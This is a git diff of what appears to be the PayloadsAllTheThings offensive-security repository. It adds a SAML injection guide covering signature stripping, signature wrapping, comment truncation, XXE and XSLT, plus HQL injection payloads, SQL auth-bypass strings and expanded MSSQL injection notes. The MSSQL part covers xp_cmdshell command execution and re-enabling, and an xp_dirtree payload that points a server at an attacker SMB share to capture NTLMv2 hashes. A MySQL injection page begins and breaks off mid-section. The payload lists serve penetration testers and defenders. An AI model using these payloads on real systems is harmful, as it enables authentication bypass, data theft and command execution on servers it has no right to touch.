CVE-2018-11776_.py - - Apache Struts 2 CVE-2017-5638.py - Apache Struts 2 CVE-2017-9805.py - Apache Struts 2 CVE-2018-11776.py - Docker API RCE.py @@ -45,6 +42,7 @@ You might also like : - JBoss CVE-2015-7501.py - Jenkins CVE-2015-8103.py - Jenkins CVE-2016-0792.py + - Rails CVE-2019-5420.rb - Shellshock CVE-2014-6271.py - Tomcat CVE-2017-12617.py - WebLogic CVE-2016-3510.py @@ -52,70 +50,4 @@ You might also like : - WebLogic CVE-2018-2894.py - WebSphere CVE-2015-7450.py -## Try Harder - -Ever wonder where you can use your knowledge ? The following list will help you find "targets" to improve your skills. - -- __Bug Bounty Platforms__ - - [HackerOne](https://hackerone.com) - - [BugCrowd](https://bugcrowd.com) - - [Bounty Factory](https://bountyfactory.io) - - [Synack](https://www.synack.com/) - - [Intigriti](https://www.intigriti.com) - - [List of Bounty Program](https://bugcrowd.com/list-of-bug-bounty-programs/) -- __Online Platforms__ - - [Hack The Box](hackthebox.eu/) - - [Penetration test lab "Test lab" | Pentestit](https://lab.pentestit.ru) - - [PentesterLab : Learn Web Penetration Testing: The Right Way](https://pentesterlab.com/) - - [Zenk-Security](https://www.zenk-security.com/epreuves.php) - - [Root-Me](https://www.root-me.org) - - [W3Challs](https://w3challs.com/) - - [NewbieContest](https://www.newbiecontest.org/) - - [Vulnhub](https://www.vulnhub.com/) - - [The Cryptopals Crypto Challenges](https://cryptopals.com/) - - [alert(1) to win](https://alf.nu/alert1) - - [Hacksplaining](https://www.hacksplaining.com/exercises) - - [HackThisSite](https://hackthissite.org) - - [Hackers.gg](hackers.gg) - - [Mind Map - Penetration Testing Practice Labs - Aman Hardikar](http://www.amanhardikar.com/mindmaps/Practice.html) - -## Book's list - -Grab a book and relax, these ones are the best security books (in my opinion). - -- [Web Hacking 101](https://leanpub.com/web-hacking-101) -- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) -- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) -- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) -- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) -- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) -- [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE) -- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) -- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) -- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) -- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) -- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) -- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) -- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) -- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) -- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) -- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) -- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) - -## More resources - -### Blogs/Websites - -- [BUG BOUNTY FIELD MANUAL: THE DEFINITIVE GUIDE FOR PLANNING, LAUNCHING, AND OPERATING A SUCCESSFUL BUG BOUNTY PROGRAM](https://www.hackerone.com/blog/the-bug-bounty-field-manual) -- [How to become a Bug Bounty Hunter - Sam Houston](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102) -- [Tips from Top Hackers – Bug Hunting methodology and the importance of writing quality submissions - Sam Houston](https://www.bugcrowd.com/tips-from-top-hackers-bug-hunting-methodology-and-the-importance-of-writing-quality-submissions/) -- [ARNE SWINNEN'S SECURITY BLOG JUST ANOTHER INFOSEC BLOG](https://www.arneswinnen.net) -- [XSS Jigsaw - innerht.ml](https://blog.innerht.ml) -- [ZeroSec Blog: Featuring Write-Ups, Projects & Adventures](https://blog.zsec.uk/tag/ltr101/) - -### Youtube - -- [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) -- [Hunting for Top Bounties - Nicolas Grégoire](https://www.youtube.com/watch?v=mQjTgDuLsp4) -- [BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen](https://www.youtube.com/watch?v=dsekKYNLBbc) -- [Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén](https://www.youtube.com/watch?v=KDo68Laayh8) +You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/YOUTUBE.md) selections. diff --git a/SAML Injection/Images/SAML-xml-flaw.png b/SAML Injection/Images/SAML-xml-flaw.png new file mode 100644 index 0000000000..b014a49b58 Binary files /dev/null and b/SAML Injection/Images/SAML-xml-flaw.png differ diff --git a/SAML Injection/Images/XSLT1.jpg b/SAML Injection/Images/XSLT1.jpg new file mode 100644 index 0000000000..6fe4dbf3f6 Binary files /dev/null and b/SAML Injection/Images/XSLT1.jpg differ diff --git a/SAML Injection/README.md b/SAML Injection/README.md new file mode 100644 index 0000000000..e244bfd160 --- /dev/null +++ b/SAML Injection/README.md @@ -0,0 +1,200 @@ +# SAML Injection + +> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify + +## Summary + +* [Tools](#tools) +* [Authentication Bypass](#authentication-bypass) + * [Invalid Signature](#invalid-signature) + * [Signature Stripping](#signature-stripping) + * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks) + * [XML Comment Handling](#xml-comment-handling) + * [XML External Entity](#xml-external-entity) + * [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation) + +## Tools + +- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider) + + +## Authentication Bypass + +A SAML Response should contain the ` [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn + +The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed. + +Example of SAML assertion where `NameID=admin` without signature. + +```xml + + + REDACTED + + + + + REDACTED + + admin + + + + + + + WLS_SP + + + + + urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport + + + + +``` + +### XML Signature Wrapping Attacks + +XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions. + +- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature. +- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature. +- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion. +- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion. +- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message. +- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature. +- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion. +- XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed. + + +In the following example, these terms are used. + +- FA: Forged Assertion +- LA: Legitimate Assertion +- LAS: Signature of the Legitimate Assertion + +```xml + + + Attacker + + + Legitimate User + + + + + + +``` + +In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed. + + +### XML Comment Handling + +A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products. + +- OneLogin - python-saml - CVE-2017-11427 +- OneLogin - ruby-saml - CVE-2017-11428 +- Clever - saml2-js - CVE-2017-11429 +- OmniAuth-SAML - CVE-2017-11430 +- Shibboleth - CVE-2018-0489 +- Duo Network Gateway - CVE-2018-7340 + +Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account. + +```xml + + https://idp.com/ + + + user@user.com.evil.com +``` +Where `user@user.com` is the first part of the username, and `.evil.com` is the second. + +### XML External Entity + +An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing. + +In the following example: +- `&s;` will resolve to the string `"s"` +- `&f1;` will resolve to the string `"f1"` + +```xml + + + +]> + +[...] + + + &s;taf&f1; + + +[...] + +``` + +The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute. + + +### Extensible Stylesheet Language Transformation + +An XSLT can be carried out by using the `transform` element. + +![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg) +Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack) + +```xml + + ... + + + + + + + + + + + + + + ... + +``` + +## References + +- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/) +- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml) +- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md) +- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf) +- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/) +- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/) +- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities) +- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2) +- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/) +- [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +- [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) +- [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) \ No newline at end of file diff --git a/SQL injection/Cassandra Injection.md b/SQL Injection/Cassandra Injection.md similarity index 78% rename from SQL injection/Cassandra Injection.md rename to SQL Injection/Cassandra Injection.md index e66949ecb2..2396618f08 100644 --- a/SQL injection/Cassandra Injection.md +++ b/SQL Injection/Cassandra Injection.md @@ -2,6 +2,14 @@ > Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system +## Summary + +* [Cassandra comment](#cassandra-comment) +* [Cassandra - Login Bypass](#cassandra---login-bypass) + * [Login Bypass 0](#login-bypass-0) + * [Login Bypass 1](#login-bypass-1) +* [References](#references) + ## Cassandra comment ```sql @@ -34,4 +42,4 @@ Example from EternalNoob : [https://hack2learn.pw/cassandra/login.php](https://h ## References -* [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/) \ No newline at end of file +* [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/) diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md new file mode 100644 index 0000000000..6e8168be99 --- /dev/null +++ b/SQL Injection/HQL Injection.md @@ -0,0 +1,58 @@ +# Hibernate Query Language Injection + +> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia +## Summary + +* [HQL Comments](#hql-comments) +* [HQL List Columns](#hql-list-columns) +* [HQL Error Based](#hql-error-based) +* [References](#references) + +## HQL Comments + +```sql +HQL does not support comments +``` + +## HQL List Columns + +```sql +from BlogPosts +where title like '%' + and DOESNT_EXIST=1 and ''='%' -- + and published = true +``` + +Using an unexisting column will an exception leaking several columns names. + +```sql +org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement: + select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159] +``` + +## HQL Error Based + +```sql +from BlogPosts +where title like '%11' + and (select password from User where username='admin')=1 + or ''='%' + and published = true +``` + +Error based on value casting. + +```sql +Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement: +select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1 +``` + +:warning: **HQL does not support UNION queries** + +## References + +* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html) +* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language) +* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf) +* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm) +* [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/) diff --git a/SQL Injection/Images/PostgreSQL_cmd_exec.png b/SQL Injection/Images/PostgreSQL_cmd_exec.png new file mode 100644 index 0000000000..c4bd219065 Binary files /dev/null and b/SQL Injection/Images/PostgreSQL_cmd_exec.png differ diff --git a/SQL injection/Images/wildcard_underscore.jpg b/SQL Injection/Images/wildcard_underscore.jpg similarity index 100% rename from SQL injection/Images/wildcard_underscore.jpg rename to SQL Injection/Images/wildcard_underscore.jpg diff --git a/SQL injection/Intruder/Auth_Bypass.txt b/SQL Injection/Intruder/Auth_Bypass.txt similarity index 100% rename from SQL injection/Intruder/Auth_Bypass.txt rename to SQL Injection/Intruder/Auth_Bypass.txt diff --git a/SQL injection/Intruder/Auth_Bypass2.txt b/SQL Injection/Intruder/Auth_Bypass2.txt similarity index 98% rename from SQL injection/Intruder/Auth_Bypass2.txt rename to SQL Injection/Intruder/Auth_Bypass2.txt index c909cd279a..3881b4c7cc 100644 --- a/SQL injection/Intruder/Auth_Bypass2.txt +++ b/SQL Injection/Intruder/Auth_Bypass2.txt @@ -117,4 +117,5 @@ ' UNION select table_schema,table_name FROM information_Schema.tables;# admin' and substring(password/text(),1,1)='7 ' and substring(password/text(),1,1)='7 - +' or 1=1 limit 1 -- -+ +'="or' diff --git a/SQL injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt b/SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt rename to SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt diff --git a/SQL injection/Intruder/FUZZDB_MSSQL.txt b/SQL Injection/Intruder/FUZZDB_MSSQL.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MSSQL.txt rename to SQL Injection/Intruder/FUZZDB_MSSQL.txt diff --git a/SQL injection/Intruder/FUZZDB_MSSQL_Enumeration.txt b/SQL Injection/Intruder/FUZZDB_MSSQL_Enumeration.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MSSQL_Enumeration.txt rename to SQL Injection/Intruder/FUZZDB_MSSQL_Enumeration.txt diff --git a/SQL injection/Intruder/FUZZDB_MYSQL.txt b/SQL Injection/Intruder/FUZZDB_MYSQL.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MYSQL.txt rename to SQL Injection/Intruder/FUZZDB_MYSQL.txt diff --git a/SQL injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt b/SQL Injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt rename to SQL Injection/Intruder/FUZZDB_MySQL-WHERE_Time.txt diff --git a/SQL injection/Intruder/FUZZDB_MySQL_ReadLocalFiles.txt b/SQL Injection/Intruder/FUZZDB_MySQL_ReadLocalFiles.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_MySQL_ReadLocalFiles.txt rename to SQL Injection/Intruder/FUZZDB_MySQL_ReadLocalFiles.txt diff --git a/SQL injection/Intruder/FUZZDB_Oracle.txt b/SQL Injection/Intruder/FUZZDB_Oracle.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_Oracle.txt rename to SQL Injection/Intruder/FUZZDB_Oracle.txt diff --git a/SQL injection/Intruder/FUZZDB_Postgres_Enumeration.txt b/SQL Injection/Intruder/FUZZDB_Postgres_Enumeration.txt similarity index 100% rename from SQL injection/Intruder/FUZZDB_Postgres_Enumeration.txt rename to SQL Injection/Intruder/FUZZDB_Postgres_Enumeration.txt diff --git a/SQL injection/Intruder/Generic_ErrorBased.txt b/SQL Injection/Intruder/Generic_ErrorBased.txt similarity index 100% rename from SQL injection/Intruder/Generic_ErrorBased.txt rename to SQL Injection/Intruder/Generic_ErrorBased.txt diff --git a/SQL injection/Intruder/Generic_TimeBased.txt b/SQL Injection/Intruder/Generic_TimeBased.txt similarity index 100% rename from SQL injection/Intruder/Generic_TimeBased.txt rename to SQL Injection/Intruder/Generic_TimeBased.txt diff --git a/SQL injection/Intruder/Generic_UnionSelect.txt b/SQL Injection/Intruder/Generic_UnionSelect.txt similarity index 100% rename from SQL injection/Intruder/Generic_UnionSelect.txt rename to SQL Injection/Intruder/Generic_UnionSelect.txt diff --git a/SQL injection/Intruder/SQL-Injection b/SQL Injection/Intruder/SQL-Injection similarity index 100% rename from SQL injection/Intruder/SQL-Injection rename to SQL Injection/Intruder/SQL-Injection diff --git a/SQL injection/Intruder/SQLi_Polyglots.txt b/SQL Injection/Intruder/SQLi_Polyglots.txt similarity index 100% rename from SQL injection/Intruder/SQLi_Polyglots.txt rename to SQL Injection/Intruder/SQLi_Polyglots.txt diff --git a/SQL injection/Intruder/payloads-sql-blind-MSSQL-INSERT b/SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT similarity index 100% rename from SQL injection/Intruder/payloads-sql-blind-MSSQL-INSERT rename to SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT diff --git a/SQL injection/Intruder/payloads-sql-blind-MSSQL-WHERE b/SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE similarity index 100% rename from SQL injection/Intruder/payloads-sql-blind-MSSQL-WHERE rename to SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE diff --git a/SQL injection/Intruder/payloads-sql-blind-MySQL-INSERT b/SQL Injection/Intruder/payloads-sql-blind-MySQL-INSERT similarity index 100% rename from SQL injection/Intruder/payloads-sql-blind-MySQL-INSERT rename to SQL Injection/Intruder/payloads-sql-blind-MySQL-INSERT diff --git a/SQL injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY b/SQL Injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY similarity index 100% rename from SQL injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY rename to SQL Injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY diff --git a/SQL injection/Intruder/payloads-sql-blind-MySQL-WHERE b/SQL Injection/Intruder/payloads-sql-blind-MySQL-WHERE similarity index 100% rename from SQL injection/Intruder/payloads-sql-blind-MySQL-WHERE rename to SQL Injection/Intruder/payloads-sql-blind-MySQL-WHERE diff --git a/SQL injection/MSSQL Injection.md b/SQL Injection/MSSQL Injection.md similarity index 63% rename from SQL injection/MSSQL Injection.md rename to SQL Injection/MSSQL Injection.md index b71a95b04b..0e7936531d 100644 --- a/SQL injection/MSSQL Injection.md +++ b/SQL Injection/MSSQL Injection.md @@ -1,5 +1,23 @@ # MSSQL Injection +## Summary + +* [MSSQL comments](#mssql-comments) +* [MSSQL version](#mssql-version) +* [MSSQL database name](#mssql-database-name) +* [MSSQL List databases](#mssql-list-databases) +* [MSSQL List columns](#mssql-list-columns) +* [MSSQL List tables](#mssql-list-tables) +* [MSSQL Extract user/password](#mssql-extract-userpassword) +* [MSSQL Union Based](#mssql-union-based) +* [MSSQL Error Based](#mssql-error-based) +* [MSSQL Blind Based](#mssql-blind-based) +* [MSSQL Time Based](#mssql-time-based) +* [MSSQL Stacked query](#mssql-stacked-query) +* [MSSQL Command execution](#mssql-command-execution) +* [MSSQL UNC path](#mssql-unc-path) +* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) + ## MSSQL comments ```sql @@ -19,14 +37,14 @@ SELECT @@version SELECT DB_NAME() ``` -## MSSQL List Databases +## MSSQL List databases ```sql SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … ``` -## MSSQL List Column +## MSSQL List columns ```sql SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only @@ -35,7 +53,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master. SELECT table_catalog, column_name FROM information_schema.columns ``` -## MSSQL List Tables +## MSSQL List tables ```sql SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views @@ -45,7 +63,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master. SELECT table_catalog, table_name FROM information_schema.columns ``` -## MSSQL User Password +## MSSQL Extract user/password ```sql MSSQL 2000: @@ -57,6 +75,30 @@ SELECT name, password_hash FROM master.sys.sql_logins SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins ``` +## MSSQL Union Based + +```sql +-- extract databases names +$ SELECT name FROM master..sysdatabases +[*] Injection +[*] msdb +[*] tempdb + +-- extract tables from Injection database +$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' +[*] Profiles +[*] Roles +[*] Users + +-- extract columns for the table Users +$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') +[*] UserId +[*] UserName + +-- Finally extract the data +$ SELECT UserId, UserName from Users +``` + ## MSSQL Error based ```sql @@ -100,17 +142,32 @@ ProductID=1; DROP members-- ```sql EXEC xp_cmdshell "net user"; -EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' -EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1' +EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; +EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; ``` If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) ```sql -EXEC sp_configure 'show advanced options',1 -RECONFIGURE -EXEC sp_configure 'xp_cmdshell',1 -RECONFIGURE +EXEC sp_configure 'show advanced options',1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell',1; +RECONFIGURE; +``` + +To interact with the MSSQL instance. + +```powershell +sqsh -S 192.168.1.X -U sa -P superPassword +python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758 +``` + +## MSSQL UNC Path + +MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash. + +```sql +1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- ``` ## MSSQL Make user DBA (DB admin) diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md new file mode 100644 index 0000000000..9dd034c4e8 --- /dev/null +++ b/SQL Injection/MySQL Injection.md @@ -0,0 +1,457 @@ +# MYSQL Injection + +## Summary + +* [MYSQL Comment](#mysql-comment) +* [MYSQL Union Based](#mysql-union-based) + * [Detect columns number](#detect-columns-number) + * [Extract database with information_schema](#extract-database-with-information_schema) + * [Extract columns name without information_schema](#extract-columns-name-without-information_schema) + * [Extract data without columns name](#extract-data-without-columns-name) +* [MYSQL Error Based](#mysql-error-based) + * [MYSQL Error Based - Basic](#mysql-error-based---basic) + * [MYSQL Error Based - UpdateXML function](#mysql-error-based---updatexml-function) + * [MYSQL Error Based - Extractvalue function](#mysql-error-based---extractvalue-function) +* [MYSQL Blind](#mysql-blind) + * [MYSQL Blind with substring equivalent](#mysql-blind-with-substring-equivalent) + * [MYSQL Blind using a conditional statement](#mysql-blind-using-a-conditional-statement) + * [MYSQL Blind with MAKE_SET](#mysql-blind-with-make_set) + * [MYSQL Blind with LIKE](#mysql-blind-with-like) +* [MYSQL Time Based](#mysql-time-based) + * [Using SLEEP in a subselect](#using-sleep-in-a-subselect) + * [Using conditional statements](#using-conditional-statements) +* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot) +* [MYSQL Current queries](#mysql-current-queries) +* [MYSQL Read content of a file](#mysql-read-content-of-a-file) +* [MYSQL Write a shell](#mysql-write-a-shell) + * [Into outfile method](#into-outfile-method) + * [Into dumpfile method](#into-dumpfile-method) +* [MYSQL UDF command execution](#mysql-udf-command-execution) +* [MYSQL Truncation](#mysql-truncation) +* [MYSQL Out of band](#mysql-out-of-band) + * [DNS exfiltration](#dns-exfiltration) + * [UNC Path - NTLM hash stealing](#unc-path---ntlm-hash-stealing) +* [References](#references) + + +## MYSQL comment + +```sql +# MYSQL Comment +/* MYSQL Comment */ +/*! MYSQL Special SQL */ +/*!32302 10*/ Comment for MYSQL version 3.23.02 +``` + + +## MYSQL Union Based + +### Detect columns number + +First you need to know the number of columns + +##### Using `order by` or `group by` + +Keep incrementing the number until you get a False response. +Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query. + +```sql +1' ORDER BY 1--+ #True +1' ORDER BY 2--+ #True +1' ORDER BY 3--+ #True +1' ORDER BY 4--+ #False - Query is only using 3 columns + #-1' UNION SELECT 1,2,3--+ True +``` +or +```sql +1' GROUP BY 1--+ #True +1' GROUP BY 2--+ #True +1' GROUP BY 3--+ #True +1' GROUP BY 4--+ #False - Query is only using 3 columns + #-1' UNION SELECT 1,2,3--+ True +``` +##### Using `order by` or `group by` Error Based +Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled. +```sql +1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ + +# Unknown column '4' in 'order clause' +# This error means query uses 3 column +#-1' UNION SELECT 1,2,3--+ True +``` +or +```sql +1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ + +# Unknown column '4' in 'group statement' +# This error means query uses 3 column +#-1' UNION SELECT 1,2,3--+ True +``` +##### Using `UNION SELECT` Error Based +This method works if error showing is enabled +```sql +1' UNION SELECT @--+ #The used SELECT statements have a different number of columns +1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns +1' UNION SELECT @,@,@--+ #No error means query uses 3 column + #-1' UNION SELECT 1,2,3--+ True +``` +##### Using `LIMIT INTO` Error Based +This method works if error showing is enabled. + +It is useful for finding the number of columns when the injection point is after a LIMIT clause. +```sql +1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns +1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns +1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column + #-1' UNION SELECT 1,2,3--+ True +``` +##### Using `SELECT * 